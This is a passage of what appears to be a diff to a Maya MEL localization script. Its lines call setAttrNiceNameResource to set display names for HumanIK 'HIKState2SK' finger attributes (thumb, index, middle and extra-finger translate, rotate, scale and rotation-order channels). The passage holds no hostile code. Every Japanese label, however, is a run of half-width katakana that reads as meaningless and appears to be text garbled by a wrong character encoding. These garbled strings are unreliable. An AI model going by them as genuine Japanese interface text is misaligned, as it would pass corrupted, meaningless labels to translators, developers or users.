"LeftHandExtraFinger4S", "ラハヨチヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Sx", "ラハヨチヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Sy", "ラハヨチヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Sz", "ラハヨチヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PGX", "ラハヨチヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", "ラハヨチヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4SC", "ラハヨチヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4IS", "ラハヨチヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ISx", "ラハヨチヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ISy", "ラハヨチヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ISz", "ラハヨチヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreR", "ラハヨチヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreRx", "ラハヨチヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreRy", "ラハヨチヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreRz", "ラハヨチヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostR", "ラハヨチヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostRx", "ラハヨチヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostRy", "ラハヨチヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostRz", "ラハヨチヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1T", "モメハヨトエヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Tx", "モメハヨトエヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Ty", "モメハヨトエヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Tz", "モメハヨトエヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1R", "モメハヨトエヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Rx", "モメハヨトエヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Ry", "モメハヨトエヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Rz", "モメハヨトエヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1S", "モメハヨトエヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Sx", "モメハヨトエヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Sy", "モメハヨトエヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Sz", "モメハヨトエヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PGX", "モメハヨトエヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ROrder", "モメハヨトエヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1SC", "モメハヨトエヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1IS", "モメハヨトエヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ISx", "モメハヨトエヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ISy", "モメハヨトエヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ISz", "モメハヨトエヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreR", "モメハヨトエヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreRx", "モメハヨトエヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreRy", "モメハヨトエヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreRz", "モメハヨトエヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostR", "モメハヨトエヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostRx", "モメハヨトエヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostRy", "モメハヨトエヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostRz", "モメハヨトエヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2T", "モメハヨトエヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Tx", "モメハヨトエヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Ty", "モメハヨトエヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Tz", "モメハヨトエヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2R", "モメハヨトエヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Rx", "モメハヨトエヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Ry", "モメハヨトエヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Rz", "モメハヨトエヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2S", "モメハヨトエヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Sx", "モメハヨトエヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Sy", "モメハヨトエヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Sz", "モメハヨトエヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PGX", "モメハヨトエヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ROrder", "モメハヨトエヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2SC", "モメハヨトエヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2IS", "モメハヨトエヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ISx", "モメハヨトエヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ISy", "モメハヨトエヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ISz", "モメハヨトエヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreR", "モメハヨトエヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreRx", "モメハヨトエヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreRy", "モメハヨトエヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreRz", "モメハヨトエヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostR", "モメハヨトエヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostRx", "モメハヨトエヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostRy", "モメハヨトエヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostRz", "モメハヨトエヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3T", "モメハヨトエヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Tx", "モメハヨトエヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Ty", "モメハヨトエヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Tz", "モメハヨトエヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3R", "モメハヨトエヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Rx", "モメハヨトエヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Ry", "モメハヨトエヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Rz", "モメハヨトエヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3S", "モメハヨトエヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Sx", "モメハヨトエヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Sy", "モメハヨトエヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Sz", "モメハヨトエヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PGX", "モメハヨトエヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ROrder", "モメハヨトエヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3SC", "モメハヨトエヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3IS", "モメハヨトエヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ISx", "モメハヨトエヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ISy", "モメハヨトエヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ISz", "モメハヨトエヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreR", "モメハヨトエヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreRx", "モメハヨトエヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreRy", "モメハヨトエヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreRz", "モメハヨトエヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostR", "モメハヨトエヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostRx", "モメハヨトエヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostRy", "モメハヨトエヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostRz", "モメハヨトエヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4T", "モメハヨトエヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Tx", "モメハヨトエヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Ty", "モメハヨトエヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Tz", "モメハヨトエヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4R", "モメハヨトエヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Rx", "モメハヨトエヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Ry", "モメハヨトエヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Rz", "モメハヨトエヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4S", "モメハヨトエヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Sx", "モメハヨトエヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Sy", "モメハヨトエヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Sz", "モメハヨトエヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PGX", "モメハヨトエヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ROrder", "モメハヨトエヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4SC", "モメハヨトエヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4IS", "モメハヨトエヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ISx", "モメハヨトエヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ISy", "モメハヨトエヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ISz", "モメハヨトエヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreR", "モメハヨトエヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreRx", "モメハヨトエヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreRy", "モメハヨトエヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreRz", "モメハヨトエヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostR", "モメハヨトエヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostRx", "モメハヨトエヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostRy", "モメハヨトエヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostRz", "モメハヨトエヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1T", "モメハヨハウヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Tx", "モメハヨハウヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Ty", "モメハヨハウヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Tz", "モメハヨハウヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1R", "モメハヨハウヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Rx", "モメハヨハウヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Ry", "モメハヨハウヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Rz", "モメハヨハウヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1S", "モメハヨハウヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Sx", "モメハヨハウヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Sy", "モメハヨハウヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Sz", "モメハヨハウヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PGX", "モメハヨハウヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ROrder", "モメハヨハウヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1SC", "モメハヨハウヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1IS", "モメハヨハウヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ISx", "モメハヨハウヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ISy", "モメハヨハウヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ISz", "モメハヨハウヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreR", "モメハヨハウヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreRx", "モメハヨハウヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreRy", "モメハヨハウヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreRz", "モメハヨハウヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostR", "モメハヨハウヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostRx", "モメハヨハウヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostRy", "モメハヨハウヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostRz", "モメハヨハウヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2T", "モメハヨハウヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Tx", "モメハヨハウヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Ty", "モメハヨハウヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Tz", "モメハヨハウヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2R", "モメハヨハウヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Rx", "モメハヨハウヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Ry", "モメハヨハウヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Rz", "モメハヨハウヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2S", "モメハヨハウヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Sx", "モメハヨハウヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Sy", "モメハヨハウヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Sz", "モメハヨハウヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PGX", "モメハヨハウヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ROrder", "モメハヨハウヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2SC", "モメハヨハウヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2IS", "モメハヨハウヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ISx", "モメハヨハウヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ISy", "モメハヨハウヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ISz", "モメハヨハウヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreR", "モメハヨハウヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreRx", "モメハヨハウヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreRy", "モメハヨハウヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreRz", "モメハヨハウヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostR", "モメハヨハウヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostRx", "モメハヨハウヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostRy", "モメハヨハウヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostRz", "モメハヨハウヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3T", "モメハヨハウヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Tx", "モメハヨハウヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Ty", "モメハヨハウヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Tz", "モメハヨハウヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3R", "モメハヨハウヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Rx", "モメハヨハウヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Ry", "モメハヨハウヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Rz", "モメハヨハウヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3S", "モメハヨハウヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Sx", "モメハヨハウヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Sy", "モメハヨハウヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Sz", "モメハヨハウヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PGX", "モメハヨハウヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ROrder", "モメハヨハウヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3SC", "モメハヨハウヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3IS", "モメハヨハウヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ISx", "モメハヨハウヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ISy", "モメハヨハウヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ISz", "モメハヨハウヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreR", "モメハヨハウヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreRx", "モメハヨハウヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreRy", "モメハヨハウヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreRz", "モメハヨハウヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostR", "モメハヨハウヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostRx", "モメハヨハウヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostRy", "モメハヨハウヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostRz", "モメハヨハウヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4T", "モメハヨハウヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Tx", "モメハヨハウヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Ty", "モメハヨハウヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Tz", "モメハヨハウヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4R", "モメハヨハウヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Rx", "モメハヨハウヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Ry", "モメハヨハウヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Rz", "モメハヨハウヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4S", "モメハヨハウヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Sx", "モメハヨハウヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Sy", "モメハヨハウヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Sz", "モメハヨハウヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PGX", "モメハヨハウヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ROrder", "モメハヨハウヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4SC", "モメハヨハウヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4IS", "モメハヨハウヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ISx", "モメハヨハウヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ISy", "モメハヨハウヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ISz", "モメハヨハウヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreR", "モメハヨハウヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreRx", "モメハヨハウヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreRy", "モメハヨハウヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreRz", "モメハヨハウヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostR", "モメハヨハウヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostRx", "モメハヨハウヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostRy", "モメハヨハウヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostRz", "モメハヨハウヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1T", "モメハヨヨミヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Tx", "モメハヨヨミヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Ty", "モメハヨヨミヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Tz", "モメハヨヨミヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1R", "モメハヨヨミヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Rx", "モメハヨヨミヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Ry", "モメハヨヨミヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Rz", "モメハヨヨミヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1S", "モメハヨヨミヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Sx", "モメハヨヨミヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Sy", "モメハヨヨミヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Sz", "モメハヨヨミヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PGX", "モメハヨヨミヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ROrder", "モメハヨヨミヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1SC", "モメハヨヨミヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1IS", "モメハヨヨミヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ISx", "モメハヨヨミヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ISy", "モメハヨヨミヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ISz", "モメハヨヨミヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreR", "モメハヨヨミヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreRx", "モメハヨヨミヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreRy", "モメハヨヨミヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreRz", "モメハヨヨミヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostR", "モメハヨヨミヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostRx", 